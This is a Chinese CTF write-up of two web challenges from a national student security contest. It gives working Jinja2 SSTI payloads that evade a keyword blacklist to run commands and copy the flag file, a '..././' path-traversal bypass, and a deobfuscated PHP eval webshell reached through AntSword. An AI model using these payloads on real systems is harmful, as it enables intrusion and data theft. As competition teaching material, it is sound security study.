2024国赛web 部分wp
第十八届全国大学生 信息安全竞赛暨第二届“长城杯”铁人三项赛web个人wp
最终排名79，不过web只出了两道
safe_proxy
源码
from flask import Flask, request, render_template_string
import socket
import threading
import html
app = Flask(__name__)
@app.route('/', methods=["GET"])
def source():
with open(__file__, 'r', encoding='utf-8') as f:
return '<pre>'+html.escape(f.read())+'</pre>'
@app.route('/', methods=["POST"])
def template():
template_code = request.form.get("code")
# 安全过滤
blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
for black in blacklist:
if black in template_code:
return "Forbidden content detected!"
result = render_template_string(template_code)
print(result)
return 'ok' if result is not None else 'error'
class HTTPProxyHandler:
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port
def handle_request(self, client_socket):
try:
request_data = b""
while True:
chunk = client_socket.recv(4096)
request_data += chunk
if len(chunk) < 4096:
break
if not request_data:
client_socket.close()
return
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
proxy_socket.connect((self.target_host, self.target_port))
proxy_socket.sendall(request_data)
response_data = b""
while True:
chunk = proxy_socket.recv(4096)
if not chunk:
break
response_data += chunk
header_end = response_data.rfind(b"\r\n\r\n")
if header_end != -1:
body = response_data[header_end + 4:]
else:
body = response_data
response_body = body
response = b"HTTP/1.1 200 OK\r\n" \
b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \
b"Content-Type: text/html; charset=utf-8\r\n" \
b"\r\n" + response_body
client_socket.sendall(response)
except Exception as e:
print(f"Proxy Error: {e}")
finally:
client_socket.close()
def start_proxy_server(host, port, target_host, target_port):
proxy_handler = HTTPProxyHandler(target_host, target_port)
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(100)
print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")
try:
while True:
client_socket, addr = server_socket.accept()
print(f"Connection from {addr}")
thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
thread.daemon = True
thread.start()
except KeyboardInterrupt:
print("Shutting down proxy server...")
finally:
server_socket.close()
def run_flask_app():
app.run(debug=False, host='127.0.0.1', port=5000)
if __name__ == "__main__":
proxy_host = "0.0.0.0"
proxy_port = 5001
target_host = "127.0.0.1"
target_port = 5000
# 安全反代，防止针对响应头的攻击
proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
proxy_thread.daemon = True
proxy_thread.start()
print("Starting Flask app...")
run_flask_app()
开题直接给了源码，一眼无回显ssti，ban了http头回显，首先考虑写文件或者内存马其次反弹shell,
由于waf已经知道，直接用fenjing来跑一下payload
脚本
from fenjing import exec_cmd_payload
import logging
logging.basicConfig(level=logging.INFO)
def waf(s: str):
blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
for word in blacklist:
if word in s:
return False
return True
payload, _ = exec_cmd_payload(waf, "whoami")
print(payload)
跑出了可以过waf的命令执行paylaod
{%set gl='_'*2+'globals'+'_'*2%}{%set bu='_'*2+'builtins'+'_'*2%}{%set im='_'*2+'i''mport'+'_'*2%}{%set le='so'[::-1]%}{{g.pop[gl][bu][im](le)['p''open']('whoami').read()}}
然后直接写静态目录就能回显了
{%set gl='_'*2+'globals'+'_'*2%}{%set bu='_'*2+'builtins'+'_'*2%}{%set im='_'*2+'i''mport'+'_'*2%}{%set le='so'[::-1]%}{{g.pop[gl][bu][im](le)['p''open']('mkdir static').read()}}
{%set gl='_'*2+'globals'+'_'*2%}{%set bu='_'*2+'builtins'+'_'*2%}{%set im='_'*2+'i''mport'+'_'*2%}{%set le='so'[::-1]%}{{g.pop[gl][bu][im](le)['p''open']('cat /flag > static/flag.txt').read()}}
这里由于打比赛忘了截图。就直接本地搭一个环境来复现了
也可以直接覆盖app.py文件实现回显
{%set gl='_'*2+'globals'+'_'*2%}{%set bu='_'*2+'builtins'+'_'*2%}{%set im='_'*2+'i''mport'+'_'*2%}{%set le='so'[::-1]%}{{g.pop[gl][bu][im](le)['p''open']('cat /flag > app.py').read()}}
hello_web
进入题目发现文件包含
看源码，提示
<!-- ../hackme.php -->
<!-- ../tips.php -->
但是无法直接文件包含
猜测过滤了"../"
双写绕过
http://eci-2zecjw6gho6wjucxml2c.cloudeci1.ichunqiu.com/index.php?file=..././hackme.php
读取到源码
http://eci-2zecjw6gho6wjucxml2c.cloudeci1.ichunqiu.com/index.php?file=..././tips.php
看到disable_function禁用了很多函数,可能需要蚁键绕一下
再来看这串代码，看样子是被混淆过
<?php
highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";
$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";
$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};
$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};
$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};
$rVkKjU=$lapUCm{7}.$lapUCm{13};
$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};
eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
?>
手动解混淆一下,直接用echo输出变量的值
<?php
$lapUCm = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst = $lapUCm{3} . $lapUCm{6} . $lapUCm{33} . $lapUCm{30};
$OxirhK = $lapUCm{33} . $lapUCm{10} . $lapUCm{24} . $lapUCm{10} . $lapUCm{24};
$YpAUWC = $OxirhK{0} . $lapUCm{18} . $lapUCm{3} . $OxirhK{0} . $OxirhK{1} . $lapUCm{24};
$rVkKjU = $lapUCm{7} . $lapUCm{13};
echo $YwzIst . "\n";
echo $OxirhK . "\n";
echo $YpAUWC . "\n";
echo $rVkKjU . "\n";
echo $YwzIst . $lapUCm{22} . $lapUCm{36} . $lapUCm{29} . $lapUCm{26} . $lapUCm{30} . $lapUCm{32} . $lapUCm{35} . $lapUCm{26} . $lapUCm{30};
输出
base
strtr
substr
52
base64_decode
整个代码就相当于
<?php
highlight_file(__FILE__);
$OxirhK="strtr";
$YpAUWC="substr";
$rVkKjU="52";
$YwzIst="base64_decode";
eval(base64_decode("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
再继续解码
<?php
highlight_file(__FILE__);
$OxirhK="strtr";
$YpAUWC="substr";
$rVkKjU="52";
$YwzIst="base64_decode";
$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";
eval('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));
将eval改为echo输出
说明这段代码的本质就是上图的一句话木马
<?php @eval($_POST['cmd_66.99']); ?>
直接蚁剑连接
直接蚁剑连，然后绕过disable_function
绕过成功，然后连.antproxy.php
http://eci-2zecjw6gho6wjucxml2c.cloudeci1.ichunqiu.com/index.php?file=.antproxy.php
直接执行命令就行
find / -name flag
但是发现，直接连有点问题，所以直接找了
ps：其他题目后续会补上
浙公网安备 33010602011771号